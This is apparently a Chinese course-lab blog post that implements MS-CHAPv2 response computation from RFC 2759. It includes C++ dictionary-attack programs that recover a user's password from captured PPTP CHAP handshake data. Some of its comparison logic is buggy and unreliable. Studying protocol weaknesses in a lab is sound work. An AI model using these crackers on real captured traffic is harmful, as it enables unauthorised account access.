本文基于网络密码课上的实验

本来想水一水就过去,代码就网上找找,不行就GPT写,但是!一份都找不到,找到的代码都是跑不了的,总会是就是乱七八糟。所以准备认真的写一份。

代码编译成功的前提是要预先装好openssl库!

本随笔主要有三个内容:

  1. 编写程序,模拟计算NTResponse、AuthenticatorResponse,
  2. 根据前期PPTP实验中捕获的数据包中CHAP协议的挑战响应认证数据,在未知用户口令情况下编程实现CHAP认证口令的破解

在单向数据条件下(仅能截获用户数据)实现CHAP认证口令的破解

首先放一个我自己抓的包,可以看到,这是chap协议挑战响应的三次握手,

那么我们继续进行,编程模拟,就要先搞清楚每个字段代表的什么,文档中第一个包的描述,给的是Authenticator challenge

也就是我住的第一个包里的value

这是第二个包,16字节peer-challenge,8位的0,24位的NT-Response

value内的值,对应看

第三个包,内容是s=authticator-response

接下来我们开始编程实现,每一个字段都是由对应的函数计算得出

一、编写程序,模拟计算NTResponse、AuthenticatorResponse

1.查阅RFC2759文档,找到描述的计算NTResponse的函数

NT-Response的值是由GenerateNTResponse()计算得出,看到该函数有四个输入,分别是AuthenticatorChallenge(16)、PeerChallenge(16)、UserName和Password,一个输出Response(24)
 
此外,有三个函数对输入进行处理:ChallengeHash:对两个挑战值hash,结果放到challenge中。NtPasswordHash:对password做hash,结果放到password中。ChallengeResponse:对challenge和passwordhash做运算,结果得到NT-Response。

2.根据文档描述编写代码

GenerateNTResponse()函数

1 void GenerateNTResponse(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, const wchar_t* password, BYTE* response)
2 {
3 BYTE challenge[8];
4 BYTE password_hash[16];
5
6 _ChallengeHash(hProv, peer_challenge, auth_challenge, user_name, challenge);
7 _NtPasswordHash(hProv, password, password_hash);
8 _ChallengeResponse(hProv, challenge, password_hash, response);
9 }

_ChallengeHash()函数,对peer challenge、auth challenge、user name连接然后进行sha1哈希,结果放到challenge中返回

 1 void _ChallengeHash(const HCRYPTPROV hProv, const BYTE* peer_challenge, const BYTE* auth_challenge, const char* user_name, BYTE* challenge)
2 {
3 HCRYPTHASH hHash = 0;
4 if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
5 throw "CryptCreateHash failed (SHA1)";
6 if (!CryptHashData(hHash, peer_challenge, 16, 0))
7 throw "CryptHashData failed (peer challenge)";
8 if (!CryptHashData(hHash, auth_challenge, 16, 0))
9 throw "CryptHashData failed (auth challenge)";
10 if (!CryptHashData(hHash, (const BYTE*)user_name,
11 (DWORD)strlen(user_name), 0))
12 throw "CryptHashData failed (user name)";
13 DWORD hash_len = SHA1LEN;
14 BYTE hash_buffer[SHA1LEN];
15 if (!CryptGetHashParam(hHash, HP_HASHVAL, hash_buffer,
16 &hash_len, 0))
17 throw "CryptGetHashParam failed (challenge hash)";
18 memcpy(challenge, hash_buffer, 8);
19
20 }

_NtPasswordHash函数():将password做MD4哈希,然后返回password_hash中

 1 void _NtPasswordHash(const HCRYPTPROV hProv, const wchar_t* password, BYTE* password_hash)
2 {
3 HCRYPTHASH hHash = 0;
4 if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
5 throw "CryptCreateHash failed (MD4)";
6 if (!CryptHashData(hHash, (const BYTE*)password, lstrlenW(password) << 1, 0))
7 throw "CryptHashData failed (user password)";
8 DWORD hash_len = MD4LEN;
9 BYTE hash_buffer[MD4LEN];
10 if (!CryptGetHashParam(hHash, HP_HASHVAL, hash_buffer, &hash_len, 0))
11 throw "CryptGetHashParam failed (NT password hash)";
12 memcpy(password_hash, hash_buffer, 16);
13 }

ChallengeResponse()函数:首先将16位passwordhash后面填充五个0变成21位,接着分成三个长度为7的密钥,分别对challenge做三次DES加密,三次加密结果放到response中

 1 void _ChallengeResponse(const HCRYPTPROV hProv, const BYTE* challenge, const BYTE* password_hash, BYTE* response)
2 {
3 BYTE z_password_hash[21];
4 memset(z_password_hash, 0, 21);
5 memcpy(z_password_hash, password_hash, 16);
6
7 _DesEncrypt(hProv, challenge, z_password_hash, response);
8 _DesEncrypt(hProv, challenge, z_password_hash + 7, response + 8);
9 _DesEncrypt(hProv, challenge, z_password_hash + 14, response + 16);
10 }

接下来我们来看DES加密函数,由于每次给的密钥都是7位长度,所以加密前首先调用EXPAND()函数对密钥进行扩展,扩展到8位,这里的加密模式是ECB(电子密码本)加密,加密的结果放到result中

 1 typedef struct {
2 BLOBHEADER key_header;
3 DWORD key_length;
4 BYTE key_data[8];
5 } DESKey;
6
7 void EXPAND(BYTE* key);
8
9 void _DesEncrypt(const HCRYPTPROV hProv, const BYTE* data, const BYTE* key, BYTE* result)
10 {
11 // Fill CryptoAPI-required key structure
12 DESKey des_key;
13 des_key.key_header.bType = PLAINTEXTKEYBLOB;
14 des_key.key_header.bVersion = CUR_BLOB_VERSION;
15 des_key.key_header.reserved = 0;
16 des_key.key_header.aiKeyAlg = CALG_DES;
17 des_key.key_length = 8;
18 memcpy(des_key.key_data, key, 7);
19 EXPAND(des_key.key_data);
20
21 HCRYPTKEY hKey;
22 // import key BLOB
23 if (!CryptImportKey(hProv, (BYTE*)&des_key,
24 sizeof(des_key), 0, 0, &hKey))
25 throw "CryptImportKey failed";
26 // set ECB mode required by RFC
27 DWORD des_mode = CRYPT_MODE_ECB;
28 if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&des_mode, 0))
29 throw "CryptSetKeyParam failed (ECB mode)";
30 // set initialization vector
31 BYTE IV[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
32 if (!CryptSetKeyParam(hKey, KP_IV, &IV[0], 0))
33 throw "CryptSetKeyParam failed (init vector)";
34 // encrypt
35 DWORD data_len = 8;
36 memcpy(result, data, 8); // encrypt in-place
37 if (!CryptEncrypt(hKey, 0, FALSE, 0, (BYTE*)&result[0], &data_len, 8))
38 throw "CryptEncrypt failed (DES)";
39 }
40

下面来看一下密钥扩展函数,该函数的具体流程如下:

  1. 创建了一个名为new_key的字节数组,用于存储扩展后的密钥。
  2. 接下来,使用一个循环来处理每个7位的数据包。循环从0到7迭代,共8次。
  3. 在每次迭代中,根据当前的索引值i,获取原始密钥中的两个相邻的八位字节。如果i大于0,则取索引为i-1的字节作为左字节;否则,取索引为0的字节作为左字节。右字节的获取方式类似,如果i小于7,则取索引为i的字节作为右字节;否则,取索引为6的字节作为右字节。
  4. 接着,通过位运算将左字节和右字节中的位进行清除,只保留当前7位的数据。左字节通过与操作符&和右移操作符>>实现,右字节通过与操作符&和左移操作符<<实现。
  5. 然后,将左字节和右字节进行位移操作,将它们移动到最终的位置。左字节通过左移操作符<<实现,右字节通过右移操作符>>实现。
  6. 最后,将左字节和右字节进行按位或操作,得到最终的八位字节,并将其存储在new_key数组中对应的位置。
     1 void EXPAND(BYTE* key)
    2 {
    3 BYTE left_octet, right_octet;
    4 BYTE new_key[8];
    5 // split original key into eight 7-bit packs:
    6 // 00000001 11111122 22222333 3333444 44455555 55666666 67777777
    7 for (int i = 0; i < 8; i++)
    8 {
    9 // fetch two adjacent octets of key containing current 7 bits
    10 left_octet = key[i > 0 ? i - 1 : 0];
    11 right_octet = key[i < 7 ? i : 6];
    12 // clear all bits except current 7 ones
    13 left_octet &= 0xFF >> (8 - i);
    14 right_octet &= 0xFF << (i + 1);
    15 // shift bits to their final position
    16 left_octet = left_octet << (8 - i);
    17 right_octet = right_octet >> i;
    18 // combine into resulting octet
    19 new_key[i] = left_octet | right_octet;
    20 }
    21 memcpy(key, new_key, 8);
    22 }

    至此,我们就算出来了NtResponse

    2.计算AunthenticatorResponse

    首先查看文档,得知输入有Password、NT-Response、PeerChallenge、AuthenticatorChallenge、UserName
    输出AuthenticatorResponse。该函数处理流程如下:
    1. 该函数里面定义了长度16的PasswordHash和PasswordHashHash,长度为8的Challenge。首先,使用MD4算法对密码进行哈希处理,得到PasswordHash。
    2. 然后,对PasswordHash进行再次哈希处理,得到PasswordHashHash。
    3. 接着,使用SHA算法对PasswordHashHash、NT-Response和Magic1进行哈希处理,得到Digest。
    4. 使用ChallengeHash函数对PeerChallenge、AuthenticatorChallenge和UserName进行哈希处理,得到Challenge。
    5. 再次使用SHA算法对Digest、Challenge和Magic2进行哈希处理,得到最终的Digest

    下面是具体实现代码

  

 1 void GenerateAuthenticatorResponse(const HCRYPTPROV hProv, const wchar_t* password_unicode, const BYTE* NTResponse, const BYTE* PeerChalleng, const BYTE* AuthenticatorChallenge, const char* UserName)
2 {
3 BYTE Magic1[39] = { 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76,
4 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65,
5 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67,
6 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 };
7 BYTE Magic2[41] = { 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,
8 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,
9 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,
10 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,
11 0x6E };
12 BYTE Passwordhash[16];
13 _NtPasswordHash(hProv, password_unicode, Passwordhash);
14 BYTE PasswordHashhash[16];
15 _NtPasswordHashHash(hProv, Passwordhash, PasswordHashhash);
16 SHA_CTX Context;
17 SHA1_Init(&Context);
18 SHA1_Update(&Context, PasswordHashhash, 16);
19 SHA1_Update(&Context, NTResponse, 24);
20 SHA1_Update(&Context, Magic1, 39);
21 unsigned char aa[SHA_DIGEST_LENGTH];
22 SHA1_Final(aa, &Context);
23 BYTE Challenge[8];
24 _ChallengeHash(hProv, PeerChalleng, AuthenticatorChallenge, UserName, Challenge);
25 SHA1_Init(&Context);
26 SHA1_Update(&Context, aa, sizeof(aa));
27 SHA1_Update(&Context, Challenge, 8);
28 SHA1_Update(&Context, Magic2, 41);
29 unsigned char bb[SHA_DIGEST_LENGTH];
30 SHA1_Final(bb, &Context);
31 cout << endl << "AuthenticatorResponse: s=";
32 for (int i = 0; i < 20; i++)
33 {
34 printf("%02X", (unsigned char)bb[i]);
35 }
36 }

3.运行程序,将结果和wireshark抓包内容进行比对

NT-Response:DA2191E86678231E62B5D628CBA859031B1E6082533B32B5

AuthenticatorResponse: s=2AA71CBBDD95F43ABA628329A0271A8DD1114310

全部代码如下:注意展开

  1 #pragma comment(lib, "libssl.lib")
2 #pragma comment(lib, "libcrypto.lib")
3 #include <stdio.h>
4 #include <fstream>
5 #include <tchar.h>
6 #include <windows.h>
7 #include <WinCrypt.h>
8 #include <openssl/sha.h>
9 #include<string>
10 #include<iostream>
11 #include <openssl/des.h>
12 using namespace std;
13
14 void print_array(const BYTE* array, DWORD length);
15 void GenerateNTResponse(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, const wchar_t* password, BYTE* response);
16 void GenerateAuthenticatorResponse(const HCRYPTPROV hProv, const wchar_t* password_unicode, const BYTE* NTResponse, const BYTE* PeerChalleng, const BYTE* AuthenticatorChallenge, const char* UserName);
17 void Challenge1(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, BYTE* response);
18 void _NtPasswordHash(const HCRYPTPROV hProv, const wchar_t* password, BYTE* password_hash);
19 BYTE nt_response[24];
20 int main()
21 {
22 const char* user_name = "WA_042";
23 const wchar_t* password = L"123456";
24 const BYTE auth_challenge[] = { 0x11,0xD8,0x2A,0x82,0x0F,
25 0xBE,0xB0,0x30,0x73,0xB1,0xF7,
26 0x03,0x73,0x22,0x26,0xBF };
27 const BYTE peer_challenge[] = { 0xC1,0xD4,0x43,0x9D,0xBD,0x65,
28 0xA2,0x74,0xB9,0x7A,0xF0,0x3F,
29 0x98,0x00,0x6D,0x75 };
30 HCRYPTPROV hProv = 0;
31
32 CryptAcquireContext(&hProv, NULL, MS_DEF_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
33 //wcout << password;
34 printf("User name: %s\n", user_name);
35 wprintf(L"User password: %s\n", password);
36 printf("Authenticator challenge: ");
37 print_array(auth_challenge, 16);
38 printf("\n");
39 printf("Peer challenge: "); print_array(peer_challenge, 16);
40 printf("\n");
41 GenerateNTResponse(hProv, auth_challenge, peer_challenge, user_name, password, nt_response);
42 printf("NT Response: "); print_array(nt_response, 24);
43 GenerateAuthenticatorResponse(hProv, password, nt_response, peer_challenge, auth_challenge, user_name);
44 cout << endl;
45 Challenge1(hProv, auth_challenge, peer_challenge, user_name, nt_response);
46 cout << endl << "挑战一结束";
47 return 0;
48 }
49
50 void Challenge1(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, BYTE* response)
51 {
52 std::ifstream file("passlib.txt");
53 if (!file) {
54 std::cerr << "无法打开文件" << std::endl;
55 }
56
57 string line;
58 while (std::getline(file, line)) {
59 BYTE Nt_response[24];
60 wchar_t* wc = new wchar_t[line.size()];
61 swprintf(wc, 100, L"%S", line.c_str());
62 // wcout << wc << endl;
63 GenerateNTResponse(hProv, auth_challenge, peer_challenge, user_name, wc, Nt_response);
64 //cout << Nt_response << endl;
65 for (int i = 0; i < 24; i++)
66 {
67
68 if (Nt_response[i] != nt_response[i])
69 {
70 cout << "破解失败" << endl;
71 break;
72 }
73 else
74 {
75 cout << "破解成功!密码为:";
76 wcout << wc << endl;
77 break;
78 }
79 // 处理读取到的数据
80 }
81 }
82
83 file.close();
84
85
86 }
87 void _DesDecrypt(unsigned char* NTResponse, unsigned char* key, unsigned char* decrypted_result);
88
89 const CHAR hex_digits[] = "0123456789ABCDEF";
90
91 void print_array(const BYTE* array, DWORD length)
92 {
93 printf("0x");
94 for (DWORD i = 0; i < length; i++)
95 printf("%c%c", hex_digits[array[i] >> 4],
96 hex_digits[array[i] & 0xf]);
97 }
98
99
100 void _ChallengeHash(const HCRYPTPROV hProv, const BYTE* peer_challenge, const BYTE* auth_challenge, const char* user_name, BYTE* challenge);
101 void _NtPasswordHash(const HCRYPTPROV hProv, const wchar_t* password, BYTE* password_hash);
102 void _ChallengeResponse(const HCRYPTPROV hProv, const BYTE* challenge, const BYTE* password_hash, BYTE* response);
103 void _NtPasswordHashHash(const HCRYPTPROV hProv, BYTE* password, BYTE* password_hash);
104 void GenerateNTResponse(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, const wchar_t* password, BYTE* response)
105 {
106 BYTE challenge[8];
107 BYTE password_hash[16];
108
109 _ChallengeHash(hProv, peer_challenge, auth_challenge, user_name, challenge);
110 _NtPasswordHash(hProv, password, password_hash);
111 _ChallengeResponse(hProv, challenge, password_hash, response);
112 }
113 void GenerateAuthenticatorResponse(const HCRYPTPROV hProv, const wchar_t* password_unicode, const BYTE* NTResponse, const BYTE* PeerChalleng, const BYTE* AuthenticatorChallenge, const char* UserName)
114 {
115 BYTE Magic1[39] = { 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76,
116 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65,
117 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67,
118 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 };
119 BYTE Magic2[41] = { 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,
120 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,
121 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,
122 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,
123 0x6E };
124 BYTE Passwordhash[16];
125 _NtPasswordHash(hProv, password_unicode, Passwordhash);
126 BYTE PasswordHashhash[16];
127 _NtPasswordHashHash(hProv, Passwordhash, PasswordHashhash);
128 SHA_CTX Context;
129 SHA1_Init(&Context);
130 SHA1_Update(&Context, PasswordHashhash, 16);
131 SHA1_Update(&Context, NTResponse, 24);
132 SHA1_Update(&Context, Magic1, 39);
133 unsigned char aa[SHA_DIGEST_LENGTH];
134 SHA1_Final(aa, &Context);
135 BYTE Challenge[8];
136 _ChallengeHash(hProv, PeerChalleng, AuthenticatorChallenge, UserName, Challenge);
137 SHA1_Init(&Context);
138 SHA1_Update(&Context, aa, sizeof(aa));
139 SHA1_Update(&Context, Challenge, 8);
140 SHA1_Update(&Context, Magic2, 41);
141 unsigned char bb[SHA_DIGEST_LENGTH];
142 SHA1_Final(bb, &Context);
143 cout << endl << "AuthenticatorResponse: s=";
144 for (int i = 0; i < 20; i++)
145 {
146 printf("%02X", (unsigned char)bb[i]);
147 }
148 }
149 #define SHA1LEN 20
150
151 void _ChallengeHash(const HCRYPTPROV hProv, const BYTE* peer_challenge, const BYTE* auth_challenge, const char* user_name, BYTE* challenge)
152 {
153 HCRYPTHASH hHash = 0;
154 if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
155 throw "CryptCreateHash failed (SHA1)";
156 if (!CryptHashData(hHash, peer_challenge, 16, 0))
157 throw "CryptHashData failed (peer challenge)";
158 if (!CryptHashData(hHash, auth_challenge, 16, 0))
159 throw "CryptHashData failed (auth challenge)";
160 if (!CryptHashData(hHash, (const BYTE*)user_name,
161 (DWORD)strlen(user_name), 0))
162 throw "CryptHashData failed (user name)";
163 DWORD hash_len = SHA1LEN;
164 BYTE hash_buffer[SHA1LEN];
165 if (!CryptGetHashParam(hHash, HP_HASHVAL, hash_buffer,
166 &hash_len, 0))
167 throw "CryptGetHashParam failed (challenge hash)";
168 memcpy(challenge, hash_buffer, 8);
169
170 }
171
172
173 #define MD4LEN 16
174
175 void _NtPasswordHash(const HCRYPTPROV hProv, const wchar_t* password, BYTE* password_hash)
176 {
177 HCRYPTHASH hHash = 0;
178 if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
179 throw "CryptCreateHash failed (MD4)";
180 if (!CryptHashData(hHash, (const BYTE*)password, lstrlenW(password) << 1, 0))
181 throw "CryptHashData failed (user password)";
182 DWORD hash_len = MD4LEN;
183 BYTE hash_buffer[MD4LEN];
184 if (!CryptGetHashParam(hHash, HP_HASHVAL, hash_buffer, &hash_len, 0))
185 throw "CryptGetHashParam failed (NT password hash)";
186 memcpy(password_hash, hash_buffer, 16);
187 }
188 void _NtPasswordHashHash(const HCRYPTPROV hProv, BYTE* passwordhash, BYTE* password_hashhash)
189 {
190 HCRYPTHASH hHashhash = 0;
191 if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHashhash))
192 throw "CryptCreateHash failed (MD4)";
193 if (!CryptHashData(hHashhash, passwordhash, 16, 0))
194 throw "CryptHashData failed (user password)";
195 DWORD hash_len = MD4LEN;
196 BYTE hash_buffer[MD4LEN];
197 if (!CryptGetHashParam(hHashhash, HP_HASHVAL, hash_buffer, &hash_len, 0))
198 throw "CryptGetHashParam failed (NT password hash)";
199
200 memcpy(password_hashhash, hash_buffer, 16);
201 //cout << endl; print_array(password_hashhash, 16);
202 }
203
204 void _DesEncrypt(const HCRYPTPROV hProv, const BYTE* data, const BYTE* key, BYTE* result);
205 void _ChallengeResponse(const HCRYPTPROV hProv, const BYTE* challenge, const BYTE* password_hash, BYTE* response)
206 {
207 BYTE z_password_hash[21];
208 memset(z_password_hash, 0, 21);
209 memcpy(z_password_hash, password_hash, 16);
210
211 _DesEncrypt(hProv, challenge, z_password_hash, response);
212 _DesEncrypt(hProv, challenge, z_password_hash + 7, response + 8);
213 _DesEncrypt(hProv, challenge, z_password_hash + 14, response + 16);
214 }
215 typedef struct {
216 BLOBHEADER key_header;
217 DWORD key_length;
218 BYTE key_data[8];
219 } DESKey;
220
221 void EXPAND(BYTE* key);
222
223 void _DesEncrypt(const HCRYPTPROV hProv, const BYTE* data, const BYTE* key, BYTE* result)
224 {
225 // Fill CryptoAPI-required key structure
226 DESKey des_key;
227 des_key.key_header.bType = PLAINTEXTKEYBLOB;
228 des_key.key_header.bVersion = CUR_BLOB_VERSION;
229 des_key.key_header.reserved = 0;
230 des_key.key_header.aiKeyAlg = CALG_DES;
231 des_key.key_length = 8;
232 memcpy(des_key.key_data, key, 7);
233 EXPAND(des_key.key_data);
234
235 HCRYPTKEY hKey;
236 // import key BLOB
237 if (!CryptImportKey(hProv, (BYTE*)&des_key,
238 sizeof(des_key), 0, 0, &hKey))
239 throw "CryptImportKey failed";
240 // set ECB mode required by RFC
241 DWORD des_mode = CRYPT_MODE_ECB;
242 if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&des_mode, 0))
243 throw "CryptSetKeyParam failed (ECB mode)";
244 // set initialization vector
245 BYTE IV[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
246 if (!CryptSetKeyParam(hKey, KP_IV, &IV[0], 0))
247 throw "CryptSetKeyParam failed (init vector)";
248 // encrypt
249 DWORD data_len = 8;
250 memcpy(result, data, 8); // encrypt in-place
251 if (!CryptEncrypt(hKey, 0, FALSE, 0, (BYTE*)&result[0], &data_len, 8))
252 throw "CryptEncrypt failed (DES)";
253 }
254
255 void EXPAND(BYTE* key)
256 {
257 BYTE left_octet, right_octet;
258 BYTE new_key[8];
259 // split original key into eight 7-bit packs:
260 // 00000001 11111122 22222333 3333444 44455555 55666666 67777777
261 for (int i = 0; i < 8; i++)
262 {
263 // fetch two adjacent octets of key containing current 7 bits
264 left_octet = key[i > 0 ? i - 1 : 0];
265 right_octet = key[i < 7 ? i : 6];
266 // clear all bits except current 7 ones
267 left_octet &= 0xFF >> (8 - i);
268 right_octet &= 0xFF << (i + 1);
269 // shift bits to their final position
270 left_octet = left_octet << (8 - i);
271 right_octet = right_octet >> i;
272 // combine into resulting octet
273 new_key[i] = left_octet | right_octet;
274 }
275 memcpy(key, new_key, 8);
276 }

二、根据前期PPTP实验中捕获的数据包中CHAP协议的挑战响应认证数据,在未知用户口令情况下编程实现CHAP认证口令的破解

思路:编写一个challenge1()函数,创建一个自己的字典,使用字典进行爆破,每次读入字典中的一个密码文本,然后调用GenerateNTResponse()函数计算NT-Response,与正确的进行比对,如果成功,则输出密码

1.编写challenge1()函数

 1 void Challenge1(const HCRYPTPROV hProv, const BYTE* auth_challenge, const BYTE* peer_challenge, const char* user_name, BYTE* response)
2 {
3 std::ifstream file("passlib.txt");
4 if (!file) {
5 std::cerr << "无法打开文件" << std::endl;
6 }
7
8 string line;
9 while (std::getline(file, line)) {
10 BYTE Nt_response[24];
11 wchar_t* wc = new wchar_t[line.size()];
12 swprintf(wc, 100, L"%S", line.c_str());
13 // wcout << wc << endl;
14 GenerateNTResponse(hProv, auth_challenge, peer_challenge, user_name, wc, Nt_response);
15 //cout << Nt_response << endl;
16 for (int i = 0; i < 24; i++)
17 {
18
19 if (Nt_response[i] != nt_response[i])
20 {
21 cout << "破解失败" << endl;
22 break;
23 }
24 else
25 {
26 cout << "破解成功!密码为:";
27 wcout << wc << endl;
28 break;
29 }
30 // 处理读取到的数据
31 }
32 }
33
34 file.close();
35
36
37 }

运行字典爆破

三、在单向数据条件下(仅能截获用户数据)实现CHAP认证口令的破解

思路:单向数据条件下,意味着只能获取用户数据NT-Response、PeerChallenge、UserName。那么根据NtResponse的计算原理,采用逆向破解的思路。首先:由于NtResponse是由passwordhash分成三部分作密钥对challenge加密的密文连接得到,那么先将NtResponse拆分成三部分,对应每部分passwordhash对challenge做DES加密的结果。

因此,破解思路是,每次读入字典里的密钥做hash作为密钥,然后将NtResponse三个部分分别作为DES函数的输入,记录DES函数的输出,比较三个输出是否相同,如果相同,则破解成功。

注意,我能运行成功是因为我的目录里面有passlib.txt字典文件,大家可以创建自己的字典文件

1.编写代码

源码如下,注意,已经折叠,点击展开

  1 #define _CRT_SECURE_NO_WARNINGS C4996
2 #include <iostream>
3 #include <stdio.h>
4 #include <openssl/ssl.h>
5 #include <stdlib.h>
6 #include <string.h>
7 #include <openssl/sha.h>
8 #include <openssl/md4.h>
9 #include <openssl/des.h>
10
11 int readfile(char* pass[]) {
12 FILE* file = fopen("./passlib.txt", "r");
13 if (file == NULL) {
14 perror("Error opening file");
15 return 0;
16 }
17
18 char buffer[100];
19 int count = 0;
20
21 while (fgets(buffer, sizeof(buffer), file) != NULL) {
22 buffer[strcspn(buffer, "\n")] = 0;
23 pass[count] = _strdup(buffer);
24 count++;
25 }
26
27 fclose(file);
28
29
30 return count;
31 }
32
33 void des_decrypt(unsigned char* key, unsigned char* NTResponse, unsigned char* decrypted_result) {
34 DES_cblock des_key;
35 memcpy(des_key, key, 8);
36 DES_key_schedule key_schedule;
37 DES_set_key_unchecked(&des_key, &key_schedule);
38 DES_ecb_encrypt((DES_cblock*)NTResponse, (DES_cblock*)decrypted_result, &key_schedule, DES_DECRYPT);
39 }
40 void expand(unsigned char* t, unsigned char* k)
41 {
42 k[0] = t[0] & 0xfe;
43 k[1] = (t[0] << 7 | t[1] >> 1) & 0xfe;
44 k[2] = (t[1] << 6 | t[2] >> 2) & 0xfe;
45 k[3] = (t[2] << 5 | t[3] >> 3) & 0xfe;
46 k[4] = (t[3] << 4 | t[4] >> 4) & 0xfe;
47 k[5] = (t[4] << 3 | t[5] >> 5) & 0xfe;
48 k[6] = (t[5] << 2 | t[6] >> 6) & 0xfe;
49 k[7] = (t[6] << 1) & 0xfe;
50 }
51 int main()
52 {
53 unsigned char peer_challenge[17] = { 0xC1,0xD4,0x43,0x9D,0xBD,0x65,0xA2,0x74,0xB9,0x7A,0xF0,0x3F,0x98,0x00,0x6D,0x75 ,'\0' };
54 char username[7] = { 0x77,0x61,0x5f,0x30,0x34,0x32,'\0' };
55 unsigned char challenge[8] = { 0x00 };
56 unsigned char NTResponse[25] = { 0xDA ,0x21,0x91 ,0xE8 ,0x66 ,0x78 ,0x23 ,0x1E ,0x62 ,0xB5
57 ,0xD6 ,0x28 ,0xCB ,0xA8 ,0x59 ,0x03 ,0x1B ,0x1E ,0x60 ,0x82 ,0x53 ,0x3B ,0x32 ,0xB5,'\0' };
58
59 const char* pass[100];
60 int loop = readfile((char**)pass);
61 int has_found = 0;
62
63 unsigned char response1[9] = { 0x00 };
64 unsigned char response2[9] = { 0x00 };
65 unsigned char response3[9] = { 0x00 };
66
67 strncat((char*)response1, (char*)NTResponse, 8);
68 response1[8] = '\0';
69 strncat((char*)response2, (char*)NTResponse + 8, 8);
70 response2[8] = '\0';
71 strncat((char*)response3, (char*)NTResponse + 16, 8);
72 response3[8] = '\0';
73 printf("read the password in pass.txt:\n");
74 for (int i = 0; i < loop; i++) {
75 printf("%s\n", pass[i]);
76 }
77
78 for (int j = 0; j < loop; j++)
79 {
80
81 unsigned char password_hash[21] = { 0x00 };
82 unsigned char password[10] = { 0x00 };
83 strncpy((char*)password, pass[j], strlen(pass[j]));
84
85 password[strlen(pass[j])] = '\0';
86
87 int pass_len = strlen((char*)password);
88
89 unsigned char* unicode_password;
90 unicode_password = (unsigned char*)malloc(sizeof(unsigned char) * pass_len * 2);
91 for (int i = 0; i < pass_len; i++) {
92 unicode_password[i * 2] = password[i];
93 unicode_password[i * 2 + 1] = 0;
94 }
95
96 MD4((unsigned char*)unicode_password, pass_len * sizeof(unsigned short), password_hash);
97
98 char zero[5] = { 0x00,0x00,0x00,0x00,0x00 };
99
100 strncat((char*)password_hash, zero, 5);
101
102 unsigned char ks1[9] = { 0x00 };
103 unsigned char ks2[9] = { 0x00 };
104 unsigned char ks3[9] = { 0x00 };
105
106 unsigned char pass1[8] = { 0x00 };
107 unsigned char pass2[8] = { 0x00 };
108 unsigned char pass3[8] = { 0x00 };
109
110 for (int i = 0; i < 7; i++)
111 {
112 pass1[i] = password_hash[i];
113 }
114 for (int i = 0; i < 7; i++)
115 {
116 pass2[i] = password_hash[i + 7];
117 }
118 for (int i = 0; i < 7; i++)
119 {
120 pass3[i] = password_hash[i + 14];
121 }
122
123 expand(pass1, ks1);
124
125 expand(pass2, ks2);
126
127 expand(pass3, ks3);
128
129
130 unsigned char result1[32] = { 0x00 };
131 unsigned char result2[32] = { 0x00 };
132 unsigned char result3[32] = { 0x00 };
133
134 des_decrypt(ks1, response1, result1);
135 des_decrypt(ks2, response2, result2);
136 des_decrypt(ks3, response3, result3);
137
138 if (strcmp((char*)result1, (char*)result2) == 0)
139 {
140 if (strcmp((char*)result1, (char*)result3) == 0)
141 {
142 printf("\n");
143 printf("Find! The password is:%s", pass[j]);
144 has_found = 1;
145 break;
146 }
147 }
148
149 }
150 for (int i = 0; i < loop; i++) {
151 free((void*)pass[i]);
152 }
153
154 if (has_found == 0)
155 printf("Cannot Find the password");
156 }

单向数据源码

2.运行代码

至此,实验结束

顺便附上python源码,欢迎批评指正!

  1 # coding = utf-8
2 import binascii
3 from builtins import bytes
4
5 from Crypto.Hash import SHA1,SHA,MD4
6 from Crypto.Cipher import DES,ARC4
7
8 def GenerateNTResponse(AuthenticatorChallenge,PeerChalleng,UserName,password_unicode):
9 PasswordHash=Nt_password_hash(password_unicode)
10 #print_hex(PasswordHash)
11 Challenge=ChallengeHash(PeerChalleng,AuthenticatorChallenge,UserName)
12 challenge_resposn=ChallengeResponse(PasswordHash,Challenge)
13 return challenge_resposn
14
15 def ChallengeHash(PeerChalleng,AuthenticatorChallenge,UserName):
16 Challenge=SHA1.new()
17 Challenge.update(PeerChalleng)
18 Challenge.update(AuthenticatorChallenge)
